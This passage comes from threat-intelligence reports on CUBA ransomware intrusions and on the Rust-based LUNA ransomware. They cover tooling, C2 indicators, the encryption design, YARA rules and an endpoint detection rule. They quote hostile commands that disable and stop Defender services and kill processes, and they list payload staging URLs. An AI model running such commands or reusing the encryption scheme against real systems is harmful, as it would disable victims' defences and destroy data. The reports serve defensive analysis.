Searching in VirusTotal for the HEX value of F:\Source\WorkNew17\ (content:{463a5c536f757263655c576f726b4e65773137}), we identified another file named ad.exe which shared the same folder structure, and included another PDB file, CmdDLL.pdb.

VirusTotal shows on the graph page that this file has been hosted at `http://108.170.31[.]115/add.dll``. While we did not observe add.dll, we believe they are related and have included the name, hash, and IP in our Observables table as the IP address (108.170.31[.]115) was also reported distributing ra.exe (see the NetSupport section below).
Using this same search criteria, we were able to locate three other files with the same PDB debugging artifacts.SystemBC is a socks5 backdoor with the ability to communicate over TOR.
Remote Access Tools
After establishing a beachhead, REF9019 dropped tooling to manage the post-exploitation phase of the attacks. Notably all tools were not present in each attack. It’s unclear if the decision to use one tool over another was merely driven by preference of individual operators, or if there was an operational factor that contributed to the decision.
SystemBC
SystemBC is a socks5 backdoor with the ability to communicate over TOR.
It was identified via malware_signature alerts that ran after SystemBC was injected into a svchost.exe process.

Post processing of the compressed_bytes of the shellcode_thread alert exposed network indicators our sample utilized, including its command and control server (104.217.8[.]100:5050).

  Check out AhnLab’s ASEC blog for detailed coverage of SystemBC’s features.

Let’s look at the data for the SystemBC binary that was collected from the process.Ext.memory_region.bytes_compressed field.

If we run this through the strings command, it becomes a bit more readable. As mentioned above, the work done by the team at ASEC does a tremendous job of describing the SystemBC remote access tool, so we’ll focus on the atomic indicators that we observed.
…truncated…
BEGINDATA
HOST1:104.217.8[.]100
HOST2:104.217.8[.]100
PORT1:5050
…truncated…
193.23.244[.]244
86.59.21[.]38
199.58.81[.]140
204.13.164[.]118
194.109.206[.]212
131.188.40[.]189
154.35.175[.]225
171.25.193[.]9
128.31.0[.]34
128.31.0[.]39
/tor/status-vote/current/consensus
/tor/server/fp/
…truncated…

The values of HOST1 and HOST2 are well-documented infrastructure for the SystemBC tool. The list of 10 IP addresses is Tor directory authorities. One IP address is selected from the list to get the consensus data for the Tor network. Then it will start Tor communications based on the settings it received (as previously reported by ASEC).
While we were not able to identify if Tor traffic was executed, this could have been a clandestine way to exfiltrate sensitive data.
GoToAssist
GoToAssist is a remote desktop support application with some legitimate usage, but also known for its use in tech support scams.In this incident, it was used to download a malicious DLL to the newly created user’s downloads directory (C:\Users\Mysql\Downloads\94-79.dll). We were unable to collect this file and have not observed it later in the incident, however previous reporting has indicated use in CUBA campaigns of DLLs with similar naming conventions.

NetSupport
NetSupport Manager is another client-server remote desktop management application. In this incident, NetSupport was named ra.exe and was written and executed from the C:\programdata\ directory by the previously exploited IIS worker process (w3wp.exe). ra.exe has been distributed by a previously identified IP address (see add2.exe section above).

Our sample is the NetSupportManager RAT as indicated on VirusTotal and corroborates prior reporting of its usage with the CUBA Ransomware group.When analyzing the process data that we extracted from memory we can see that
Cobalt Strike
Cobalt Strike was used in these intrusions, we confirmed this while reviewing the value of the Target.process.thread.Ext.start_address_bytes (a few (typically 32) raw opcode bytes at the thread start address, hex-encoded). Upon doing this, we observed bytes commonly observed in Cobalt Strike payloads.
When analyzing the process data that we extracted from memory we can see that dhl.jpg (from mvnetworking[.]com) and temp.png (from bluetechsupply[.]com) are being used for command and control. This is corroborated by previous research.


Looking at the domains in Shodan ([1][2]), we can see that they are both categorized as Cobalt Strike beacon C2 infrastructure.


Both sites are hosted by a cloud provider, Hivelocity, Inc. We have requested the domains be taken down.
BUGHATCH
BUGHATCH is the name given to a Cuba Ransomware associated downloader by Mandiant in their blog on UNC2596. We detail the observed execution chain and indicators below.
BUGHATCH was launched via PowerShell script stagers in both cases. One execution was following the dropping of a malicious DLL to the Mysql user’s downloads folder (C:\Users\Mysql\Downloads\14931s.dll). Download URI for the next stage was found in the Target.process.Ext.memory_region.strings (http://64.235.39[.]82/Agent32.bin).

In the above example, we observed agsyst82.ps1 downloading Agent32.bin from 64.235.39[.]82, but were unable to collect the PowerShell script. However, while performing open-source research, we identified a PowerShell script on ANY.RUN that performed network connections to the same IP and URL (http://64.235.39[.]82/Agent32.bin). The script is named komar.ps1 in ANY.RUN’s analysis. We are associating these two PowerShell scripts and network activity together.

The other PowerShell script was called by a malicious file, cps.exe. This PowerShell script is called komar2.ps1 and downloads Agent32.bin from 38.108.119[.]121.

komar2.ps1 next attempts to inject itself into svchost.exe from C:\Windows\Sysnative\svchost.exe.


  For context, the C:\Windows\Sysnative path is a legitimate Windows directory and used to allow 32-bit applications to access the System32 folder on a 64-bit version of Windows. This path has also been observed as a SpawnTo parameter in Cobalt Strike process injection configurations.

This new injected process again executes komar2.ps1 and includes a new PDB entry of F:\Source\Mosquito\Agent\x64\Release\Agent.pdb. As we discussed above, “komar” means “mosquito” in Polish and is a good indicator as a way to identify other related entities; we see “Mosquito” in the path of the PDB. While a weak association by itself, the PDB in this sample is located in F:\Source\, which is the same location that we’d observed with F:\Source\WorkNew## above for add2.exe. By themselves, they are not a solid reference point between the two samples, but when compared together, they can be categorized as “interesting”.
Based on analysis of the Agent32.bin file, we believe that this is the BUGHATCH malware. BUGHATCH has been observed being used as a downloader in CUBA ransomware incidents. This aligns to how we observed Agent32.bin. BUGHATCH has been covered in the UNC2596 blog by the team at Mandiant.
Credential Harvesting, Internal Reconnaissance, and Lateral Movement
Credential harvesting was observed through process injection into the GoToAssistUnattendedUi.exe binaries. These appear to be the legitimate files for the Go To Assist suite. The credential harvesting was accomplished by using Meterpreter and Mimikatz.
Meterpreter
As we observed in the initial infection several months prior, Meterpreter was observed being used to collect the SAM database using the hashdump module. As previously, this was observed in the Target.process.Ext.memory_region.strings fields.

Mimikatz
Similarly to the Meterpreter tool markings, we also observed Mimikatz. Mimikatz is an offensive security tool used to collect and inject passwords from compromised systems. It uses the SEKURLSA::LogonPasswords module to list all available provider credentials, and this was observed in the Target.process.Ext.memory_region.strings fields.

Zerologon Exploit
Next the threat actors attempted to use a file called zero.exe, which is used to exploit the Zerologon vulnerability to escalate privileges. This file is referenced in previous reporting and is executed on a vulnerable domain controller to dump the NTLM hash for the Administrator. This is a common tactic for lateral movement and to deploy additional implants into the environment, such as Cobalt Strike.
PsExec
PsExec is a legitimate utility, part of the SysInternals suite of tools, used to interactively launch processes on remote systems. PsExec is a common tool for remote administration, both benign and malicious.
While we cannot validate how specifically PsExec was used because there was not an SMB parser on the infected hosts, we can see that PsExec was used to move files between the infected hosts. We cannot confirm that this was not normal administration by the local IT staff, but the only activity observed was between infected hosts and was within the time window of other confirmed malicious activity.

Using LOLBAS
Living off the land binaries, scripts, and libraries (LOLBAS) is a commonly leveraged method to use native and benign tools for malicious purposes. This reduces attacker tools that need to be moved into the environment as well as to appear more like legitimate processes running in a targeted environment.
In one intrusion we observed PsExec being used to remotely copy files (see the PsExec section), however in another environment, we observed similar activity to move files using cmd.exe to move files from one host to another. We were unable to collect the files that were being moved for analysis, but they were a DLL and a Batch file named d478.dll and d478.bat, and the atomic indicators are stored in the Observations table.

Data Exfiltration
The CUBA group belongs to a variant of ransomware operators in that they use extortion as a mechanism to coerce payments from their victims.
In these situations, once initial access and a foothold is achieved, threat actors will identify potentially sensitive data and exfiltrate it off of the environment to use for threats of “name and shame”.
The CUBA group runs a website on the dark web where they release data from victims that do not pay. CUBA releases some data for free, and for others that are more lucrative, have a payment option.



There are multiple ways that the victim data could have been exfiltrated for extortion, the presence of BUGHATCH, Meterpreter, and Cobalt Strike all have data movement capabilities.
Defense Evasion and Actions on the Objective
DefenderControl.exe
To prevent the detection of their malware, the threat actors used Defender Control as a way to disable Microsoft Defender, the native antivirus built into all Windows systems since Vista.
To ensure that Defender Control continued to run, the threat actor used svchost.exe to create a scheduled task.

CUBA Ransomware
We detail the observed execution chain and indicators above, but please see Elastic MARE’s detailed reverse engineering of this sample here.

Diamond Model
Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Observed Adversary Tactics and Techniques
Tactics
Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.

Initial access
Persistence
Privilege escalation
Defense evasion
Credential access
Discovery
Lateral movement
Command & Control
Exfiltration
Impact

It should be noted that we did not observe the Collection tactic, but based on the evidence of Exfiltration and Impact, this would have been completed.
Techniques / Sub Techniques
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
As noted throughout this research, this covered multiple victims over a large period of time. The CUBA intrusion set has been reported using different techniques and sub techniques, but these are our specific observations.
Observed techniques/sub techniques.

Exploit Public-Facing Application
Command and Scripting Interpreter - PowerShell, Windows Command Shell
Scheduled Task/Job - Scheduled Task
Boot or Logon Autostart Execution - Registry Run Keys/Startup Folder
Create Account - Local Account
OS Credential Dumping - LSA Secrets
Data Encrypted for Impact
Hide Artifact - Hidden Window
Masquerading - Match Legitimate Name or Location
Obfuscated Files or Information
Reflective Code Loading

Detection
YARA
Elastic Security has created YARA rules to identify this BUGHATCH and CUBA ransomware activity.
rule Windows_Trojan_Bughatch {
    meta:
        author = "Elastic Security"
        creation_date = "2022-05-09"
        last_modified = "2022-05-09"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Bughatch"
        threat_name = "Windows.Trojan.Bughatch"
        reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
    strings:
        $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
        $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
        $b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
        $c1 = "-windowstyle hidden -executionpolicy bypass -file"
        $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell.exe"
        $c3 = "ReflectiveLoader"
        $c4 = "\\Sysnative\\"
        $c5 = "TEMP%u.CMD"
        $c6 = "TEMP%u.PS1"
        $c7 = "\\TEMP%d.%s"
        $c8 = "NtSetContextThread"
        $c9 = "NtResumeThread"
    condition:
        ($a1 or $a2 or $b1) or 6 of ($c*)
}

rule Windows_Ransomware_Cuba {
    meta:
        os = "Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "Cuba"
        threat_name = "Windows.Ransomware.Cuba"
        Reference_sample =
"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
      $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
      $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
       $b3 = ".cuba" wide fullword

    condition:
        any of ($a*) or all of ($b*)
}

Defensive Recommendations

Enable Elastic Security Memory and Ransomware protections
Review and ensure that you have deployed the latest Microsoft Security Updates
Maintain backups of your critical systems to aid in quick recovery
Attack surface reduction
Network segmentation

Observations
Atomic indicators observed in our investigation.
|
| |
| Indicator | Type | Reference from blog | Note |
| --- | --- | --- | --- |
| 43f7d739f00c2fdc67f7ab6b976565a323a181fb6570ac3d261dff197f820165 | SHA-256 | afk.ttf | |
| 159.203.70[.]39 | ipv4-addr | afk.ttf C2 IP | |
| 728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da | SHA-256 | add2.exe | |
| 208.76.253[.]84 | ipv4-addr | add2.exe C2 IP | |
| c24d7a93d6a5c33e673e6b0fd171701c4646e67cf2328f41739ef9b50302a02e | SHA-256 | add.dll | |
| 108.170.31[.]115 | ipv4-addr | add.dll C2 IP | |
| 62f1fbb6f151bcc67fe68e06031af00bc87ae7e4d9d0a6a60a31d140def09365 | SHA-256 | 94-79.dll | |
| 5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378 | SHA-256 | ra.exe | |
| 9c71b67411b1432931b4b135dc945f6f7f9da3c295a7449f3ab8dcb56681fa70 | SHA-256 | cps.exe | |
| e35632770a23d8e006e149b038c2ccf576c2da0998d830bbc7d7614dc5c22db5 | SHA-256 | 14931s.dll | |
| 38.108.119[.]121 | ipv4-addr | Agent32.bin stage location | |
| 64.235.39[.]82 | ipv4-addr | Agent32.bin stage location | |
| 17edf458f7b8baae5ddef725e255d3a7bb6c960830503556f157655308895128 | SHA-256 | Agent32.bin (BUGHATCH) | |
| 2e6fffad384cd6ce93cc1cde97911063e640c1953dac0507cd5f5b4b3d21bb69 | SHA-256 | Agent32.bin (BUGHATCH) | |
| 144.172.83[.]13 | ipv4-addr | Agent32.bin C2 IP | |
| 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0 | SHA-256 | zero.exe | |
| cdf2b3fbff2649a119051c63904476e70262bde2f6a9a7da8b7db13cbf257851 | SHA-256 | d478.dll | |
| 104.217.8[.]100 | ipv4-addr | SystemBC infrastructure | |
| 193.23.244[.]244 | ipv4-addr | SystemBC Tor directory authority | |
| 86.59.21[.]38 | ipv4-addr | SystemBC Tor directory authority | |
| 199.58.81[.]140 | ipv4-addr | SystemBC Tor directory authority | |
| 204.13.164[.]118 | ipv4-addr | SystemBC Tor directory authority | |
| 194.109.206[.]212 | ipv4-addr | SystemBC Tor directory authority | |
| 131.188.40[.]189 | ipv4-addr | SystemBC Tor directory authority | |
| 154.35.175[.]225 | ipv4-addr | SystemBC Tor directory authority | |
| 171.25.193[.]9 | ipv4-addr | SystemBC Tor directory authority | |
| 128.31.0[.]34 | ipv4-addr | SystemBC Tor directory authority | |
| 128.31.0[.]39 | ipv4-addr | SystemBC Tor directory authority | |
| bluetechsupply[.]com/components/temp.png | url | Cobalt Strike C2 URL | |
| bluetechsupply[.]com | domain-name | Cobalt Strike C2 | |
| 217.79.243[.]148 | ipv4-addr | Cobalt Strike C2 | |
| mvnetworking[.]com | domain-name | Cobalt Strike C2 | |
| mvnetworking[.]com/files/dhl.jpg | url | Cobalt Strike C2 URL | |
| 149.255.35[.]131 | ipv4-addr | Cobalt Strike C2 | |
| ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4 | SHA-256 | defender.exe \ DefenderControl.exe | |
| 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA-256 | A.exe \ (CUBA RANSOMWARE) | |
| b16e0d27e6fa24d3fe7c9ed9167474fbc1cde13ce047878bbd16548cfdf45be3 | SHA-256 | Anet.exe(CUBA RANSOMWARE) | |


LUNA Ransomware Attack Pattern Analysis
Salim Bitam,Seth Goodwin,Andrew Pease,Daniel Stepanic — Wed, 31 Aug 2022 00:00:00 GMT
Key Takeaways

LUNA is ransomware that achieves cross-platform capabilities through its development in Rust
The Windows capabilities are comparable to other ransomware peers
The Linux capabilities, while functional, are less elegant than the Windows variant

Preamble
LUNA Ransomware, which Elastic tracks as REF5264, is a Rust-based ransomware first identified by Kaspersky in their report introducing it in July 2022. Rust as a programming language is known in the developer community for being simpler to implement cross-platform software to work on various target operating systems. It’s able to do this through a convenient cluster of tools that abstract away some operating system peculiarities, likely allowing the malware author to focus more on core functionality.
From the Kaspersky report we were able to collect two LUNA Ransomware samples: (1) a Linux ELF binary, and (2) a Windows PE executable.
This research covers:

Execution and behavior of each sample
Description of the encryption mechanism
Comparison across our samples
Comparison to other ransomware
Detection opportunities

Execution Chain
In the following sections, we'll describe both the Linux and Windows execution chains.
Linux execution
Our Linux sample required an argument to execute. The options were -file [file] to encrypt a single file, or -dir [directory] to walk and encrypt the contents of a specified directory and drop a ransom note. If executed with no arguments, Linux LUNA returns a help page with instructions to use one of the two available arguments. If executed with both the -file and -dir arguments (including multiple files or directories), all arguments are used.

There are no functional protections against encrypting system directories or files. We were able to demonstrate this through encryption of /etc. The execution loop continued as expected until it encrypted the shadow and sudoers files and the process was unable to verify privileges for further file access. The test machine then became unresponsive and required reverting to a prior snapshot. Encryption of these critical system files prevents further encrypting of privileged files and directories the malware attempts to access.


All encrypted files are appended with a .Luna extension, i.e. /etc/passwd.Luna. If using the -dir flag, a r** eadme-Luna.txt ransom note will be created at the root of each encrypted directory as well as subdirectories such as /etc/readme-Luna.txt and /etc/ssl\readme-Luna.txt . While there are no ransomware notes dropped when encrypting an individual file using the -file flag, the encrypted file is still appended with the.Luna** extension.

  You may notice the backslash instead of a forward slash in the above full path /etc/ssl\readme-Luna.txt. This is an interesting artifact of LUNA hardcoding a **** to append to subdirectories when building the full path for the ransom note. This behavior is expected and would go unnoticed in a Windows environment, but drew our attention when we saw it in Linux. It does not appear to hinder functionality.


The ransom note is embedded in the binary in a Base64 format and placed in the root of the targeted directories.

The ransom note contains grammatical and spelling errors, listing two ProtonMail email addresses. ProtonMail is an end-to-end encrypted email service based in Switzerland. ProtonMail is popular with privacy-minded individuals and organizations because it uses client-side encryption to protect email content and user data before they are sent to ProtonMail servers.
The phrase “All your files were moved to secure storage” may be either a translation error for “encrypted” or an attempt to trick the victim into believing their data has been encrypted and stolen to later be used for extortion. This could also refer to some operation that is to occur before encryption takes place. There is no network connectivity aspect of this malware.
There is a threat of extortion with the phrase “we can show your real face”, but no extortion site has been observed as other extortion activity groups, like CUBA Ransomware, have used.
Linux Exclusions
Our Linux LUNA sample includes functional but largely unnecessary exclusions leftover from the Windows implementation. These checks are performed in the -dir execution flow before a file is sent to the add_file function for encryption. As an example, see the .ini , .exe , .dll , and .lnk extensions and OpenServer , Windows , Program Files , Recycle.Bin , ProgramData , AppData , and the All Users directories below. Of note, while the .Luna extension is included in the vestigial exclusions, it is present in both Windows and Linux.


|                           |                                                                      |
| ------------------------- | -------------------------------------------------------------------- |
| File Extension Exclusions | Folder Exclusions                                                    |
| .Luna.ini.exe.dll.lnk     | OpenServerWindowsProgram FilesRecycle.BinProgramDataAppDataAll users |
Linux LUNA checks for Windows file extensions and folders and will not encrypt files with the specified extensions on a Linux victim.


The check for the .Luna extension is useful in that it prevents re-encrypting an already encrypted file.
Windows execution
The Windows sample we found was a more full-featured product that included much of the functionality present in other mature ransomware families. It still includes the -dir and -file flags, but now if the malware is run without arguments, the Windows LUNA will perform some preliminary defense evasion, file protection preparation, and enumeration measures before entering the -dir execution loop. Additionally within the -dir execution flow Windows LUNA file and directory exclusions are functional and serve to protect critical system processes from being corrupted by encryption. This is different from what was observed with the Linux LUNA implementation which does not exclude sensitive OS directories or files that can impact system stability.


LUNA uses service and process termination to de-conflict any files locked by other programs to successfully encrypt them along with disabling security products that may prevent ransomware execution. It does this by leveraging a built-in Rust process builder ( std::sys::windows::process::Command::new ) to call three new processes with their own pre-defined command-line arguments.

Service Control
Net
TaskKill

Service Control
Service Control is a Windows utility used to modify services’ entries in the registry and in the Service Control Manager database. In this case, it’s used to ensure a service that is stopped cannot be restarted and interrupt malware execution.


"C:\WINDOWS\system32\sc.exe" config [service] start=disabled
"C:\WINDOWS\system32\sc.exe" : Service Control executable
config [service]: Specifies the service (as an example, WinDefend) that will be modified
start=disabled : Sets the start type of the service to “disabled”

LUNA does not check that a service exists before issuing the service disable command. So it will commonly get 1060 errors to the console indicating that sc.exe attempted to modify a service that does not exist.

Our LUNA sample attempts to disable 253 different services. See the Appendix: Windows Services Termination List for the complete list.
Net
Net ( net.exe ) is a Windows utility used in command-line operations for the control of users, groups, services, and network connections. In this case, it is used to stop the running services that have already been prevented from restarting by sc.exe.


"C:\WINDOWS\system32\net.exe" stop [service] /y
"C:\WINDOWS\system32\net.exe" : Net executable
stop [service]: Specifies the name of the service (as an example, WinDefend) that will be stopped
/y : Carries out the command without first prompting to confirm actions

Again there are no checks that the service is actually running on the victim machine. For Net, this manifests as 2185 errors printing to the console for each attempt to stop a nonexistent service.

TaskKill
TaskKill ( taskkill.exe ) is a Windows utility used to end a task or process by the process ID or image name. LUNA uses TaskKill to terminate processes by name that could interfere with the malware’s operation by maintaining file access locks on files targeted for encryption.


"C:\WINDOWS\system32\taskkill.exe" /im [process name] /f
"C:\WINDOWS\system32\taskkill.exe" : TaskKill executable
/im [process name]: Specifies the name of the process (as an example, msmpeng.exe) that will be terminated
/f : Specifies that processes be forcefully ended

Once again, there are no checks that the process is actually running. TaskKill produces “process not found” errors printed to the console for attempts to kill non-existent processes.

Our sample contained a hardcoded list of 997 processes to kill. See the Appendix: Windows Process Termination List for the complete list.
Disk enumeration
Next, Windows LUNA executed with no arguments uses a function called get_all_drives to brute-force the enumeration of all the available drives by going through the English alphabet and verifying if the drives are mapped to the machine using Rust library std::fs::read_dir. If the volume exists, it will be flagged for encryption at a later stage.

All volumes identified are then passed to LUNA’s walk_dir function that will drop ransom notes, enumerate subdirectories, and encrypt files similar to the Linux version with the exact same ransomware note.

Windows exclusions
Unlike the Linux version, however, the Windows LUNA file and folder exclusions are respected to prevent making the targeted machine inoperable or inadvertently stopping encryption prematurely.
|                           |                                                                      |
| ------------------------- | -------------------------------------------------------------------- |
| File Extension Exclusions | Folder Exclusions                                                    |
| .Luna.ini.exe.dll.lnk     | OpenServerWindowsProgram FilesRecycle.BinProgramDataAppDataAll users |
We compared these exclusions with those from our CUBA Ransomware Malware Analysis report. LUNA did not include the file extensions .sys or .vbm , both identified in the CUBA analysis. Also, LUNA excludes all of the \Program Files , \ProgramData , and \AppData directories and subdirectories, which CUBA encrypts - or has narrower exclusions to subfolders. This seems like an overly broad exclusion methodology as it misses some valuable data that would be disruptive if encrypted.
Encryption Implementation
LUNA uses a multi-step encryption implementation approach designed to make the author’s decryption tool the only known way to recover targeted files.
Encryption process
The malware author generates a public/private key pair before compilation and embeds the public key in the LUNA binary for later use by the malware. The author maintains the private key until the victim has met their demands.


  In many cases, ransomware actors generate a new “author’s” key pair for each victim organization.

Within the add_file function, each time LUNA encounters a new file to encrypt, the malware will generate its own public/private key pair associated with that file. It does this by using the open source library x25519-dalek x25519 elliptic curve Diffie-Hellman key exchange with RngCore::fill_bytes random number generator used for entropy, which is built into Rust.


  Elliptic curve (ECC) key generation offers several performance improvements over RSA for equivalent key size. Generally, for a given key size ECC offers greater cryptographic strength and is faster to derive a public key from a private key. This speed improvement helps when a new key pair is generated for every file to be encrypted on a victim machine.

At this point, there are two sets of public/private keys: the authors and the malware’s.
LUNA will then use the malware-generated private key and the author’s embedded public key to derive an AES key.

Files can then be encrypted by chunk with AES in the counter (CTR) mode and an initialization vector (IV). The hardcoded IV is the string “Luna” padded with zeros to be 16 bytes long as required by the AES-CTR cipher algorithm.


  Initialization vectors are broadly used in cryptography to provide input to initialize the state of the cipher algorithm before the plaintext is encrypted. In most other contexts it is randomized and shared with the public key. This randomization provides a similar function to salt for hashed passwords.

Using the std::io::Seek trait, Rust is able to abstract the OS appropriate seek , ie lseek for Linux. The malware uses this function to read data from the target file, encrypt it, and write it back to the original file.
LUNA first overwrites the original file with the encrypted content, then appends the malware’s public key created for that file and the string “Luna” as a file marker. The extension .Luna is then added to the filename.


At this point, the AES and malware’s private keys are no longer needed and must be destroyed so only the author’s private key can be used for decryption.
LUNA then moves to the next file and starts again.
Decryption process
In order to decrypt a file encrypted with this method we need the AES key and the IV. The IV is hardcoded into the malware and already known, however, the AES key is discarded once the file is encrypted. The AES key was initially generated using the malware’s private key and the author’s public key, but the malware’s private key has also been discarded.
While we also have the malware’s public key in the encrypted file itself, the author’s private key is required, in combination with the malware's public key, to derive the AES key. The AES key in combination with the hardcoded IV can then be used to decrypt each encrypted chunk.

Below you can see a graphic outlining the encryption and decryption process of the LUNA ransomware.

Chunk encryption
Like many ransomware families, LUNA encrypts files differently based on size. This serves to enhance performance and allows the ransomware to make a larger volume of data unusable in a shorter period of time.
If the file is smaller than 320 kB the entire contents of the file are encrypted using the above-described method. If the file size is between 320 kB and approximately 3 MB then only the first 320 kB will be encrypted. For files larger than approximately 3 MB LUNA will encrypt 320 kB chunks deriving the space between chunks by a byte value calculated at run-time based on the file size.
LUNA encryption POC
If you're interested in trying this out yourself to see the encryption/decryption process in action, check out Elastic's Malware Analysis and Reverse Engineering (MARE) team's Python POC in the LUNA Encryption POC Appendix. This script illustrates the implementation of the LUNA encryption/decryption mechanism.

Summary
The samples were nearly identical in their core functionality of the -dir and -file execution paths, the encryption mechanisms utilized, and hard-coded values. Hardcoded value similarities include:

Extension exclusion values
Folder exclusion values
Initialization vector
Author’s public key
Ransomware note

The most obvious difference between the two LUNA samples we looked at is the enhanced functionality of the Windows PE sample when provided no arguments and the adherence to the extension and folder exclusions for Windows.
There are many differences between the two OS packages; it is probably more convenient to provide a single decryption tool for all endpoints ransomed, irrespective of the OS. A uniform encryption and decryption framework could indicate that the LUNA ransomware is used in a Ransomware-as-a-Service implementation or that LUNA is provided as a kit that can be tailored to specific campaigns.
These differences and similarities lead us to the following assessments of these samples:

The Windows sample is much more mature than the Linux sample as reflected in the drive enumeration, services disable/stop, process termination, and exclusions employed to enable the malware to be deployed broadly with little detailed knowledge of the victim machines.
The Linux sample contains vestigial Windows features. The exclusions could be modified to fit some specific Linux distributions, but it could be a challenge to create one list that has broad coverage in the diverse Linux ecosystem.
The service disable/stop and process terminate lists are very large when compared to other mature ransomware samples. While it does not impede the encryption function of the malware, it generates a tremendous amount of noise that could alert defenders. Calling sc config [service] start=disabled and net stop 253 times for many services that do not exist, or taskkill /im 997 times for processes that do not exist provides an excellent opportunity to interdict ransomware execution before encryption begins. This would be much quieter with prior service and process enumeration, as is common with other ransomware campaigns.
The Linux sample did not include the safeguards built into the Windows variant. This caused the Linux sample to encrypt files needed to validate entitlements to system files, such as the sudoers and passwd files. Possibilities, why the Linux sample did not include safeguards :
the malware authors did not have a firm enough understanding of Linux system files and directories to know what should be excluded;
a time constraint prevented the completion of a mature Linux sample;
a lack of widely available ransomware exclusions lists for Linux;
inclusion of a Linux sample was opportunistic because the sample was developed in Rust, which is cross-platform; or
Linux capabilities were included as a “selling point” for a Ransomware-as-a-Service offering

Observed Adversary Tactics and Techniques
Tactics
Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Discovery
Defense Evasion
Impact

Techniques / sub techniques
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
Observed techniques/sub techniques:

Indicator Removal on Host
File and Directory Discovery
System Service Discovery
Data Encrypted for Impact

Detections
Our detection/protection philosophy regarding ransomware focuses on pre-encryption detection when defenders still have an opportunity to interdict malware execution before data is lost.
YARA
For LUNA Windows and Linux variants, the YARA rule below detects strings embedded in the malware and byte sequences related to core functionality.
rule Multi_Ransomware_LUNA {
    meta:
        Author = “Elastic Security”
        creation_date = "2022-08-02"
        os = "Linux, Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "LUNA"
        threat_name = "Multi.Ransomware.LUNA"
        reference_sample = "1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51"
    strings:
        $str_extensions = ".ini.exe.dll.lnk"
        $str_ransomnote_bs64 = "W1dIQVQgSEFQUEVORUQ/XQ0KDQpBbGwgeW91ciBmaWxlcyB3ZXJlIG1vdmVkIHRvIHNlY3VyZSBzdG9yYWdlLg0KTm9ib"
        $str_path = "/home/username/"
        $str_error1 = "Error while writing encrypted data to:"
        $str_error2 = "Error while writing public key to:"
        $str_error3 = "Error while renaming file:"
        $chunk_calculation0 = { 48 8D ?? 00 00 48 F4 48 B9 8B 3D 10 B6 9A 5A B4 36 48 F7 E1 48 }
        $chunk_calculation1 = { 48 C1 EA 12 48 89 D0 48 C1 E0 05 48 29 D0 48 29 D0 48 3D C4 EA 00 00 }
    condition:
        5 of ($str_*) or all of ($chunk_*)
}

Endpoint rules
For Windows LUNA there is the opportunity to prevent execution before encryption in the “no arguments” execution flow. As outlined in the previous sections, this execution flow attempts to disable and stop 253 services and terminate 997 processes whether or not they exist on the victim machine.
Our Threat Research And Detection Engineering team (TRADE) tuned and promoted a behavioral endpoint rule targeting these pre-encryption environmental preparation TTPs.
The below rule identifies and prevents attempts to disable the Windows Defender services.
query = '''
process where event.action == "start" and
  process.pe.original_file_name : ("net.exe", "sc.exe", "cmd.exe") and
  process.command_line : ("*disabled*", "*stop*") and process.command_line : ("*WdNisSvc*", "*WinDefend*") and
    (process.parent.executable :
                    ("?:\\Windows\\Microsoft.NET\\*",
                     "?:\\Users\\*",
                     "?:\\ProgramData\\*") or
    process.parent.name : ("rundll32.exe", "regsvr32.exe", "wscript.exe", "cscript.exe", "powershell.exe", "mshta.exe"))
'''

optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

References
The following were referenced throughout the above research:

https://securelist.com/LUNA-black-basta-ransomware/106950/
https://www.virustotal.com/gui/file/1cbbf108f44c8f4babde546d26425ca5340dccf878d306b90eb0fbec2f83ab51
https://www.virustotal.com/gui/file/ad8d568811e05e12cde78f76c3b7cbbde0d20aee5b4e918a3a8d515f5e242bb6

Appendix
LUNA encryption POC
We are providing an encryption POC, written in Python, that mimics and visualizes the encryption implementation of the LUNA ransomware.
Note: like LUNA, each time the script is run, the encrypted output will be different because the private keys are generated each time.
Prerequisites:

Pyton 3
cryptography and termcolor Python modules

Usage:

Save the below script as luna_encryption_poc.py
install the dependencies with pip install --user cryptography termcolor
execute the script with python luna_encryption_poc.py

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.asymmetric import x25519

from termcolor import colored

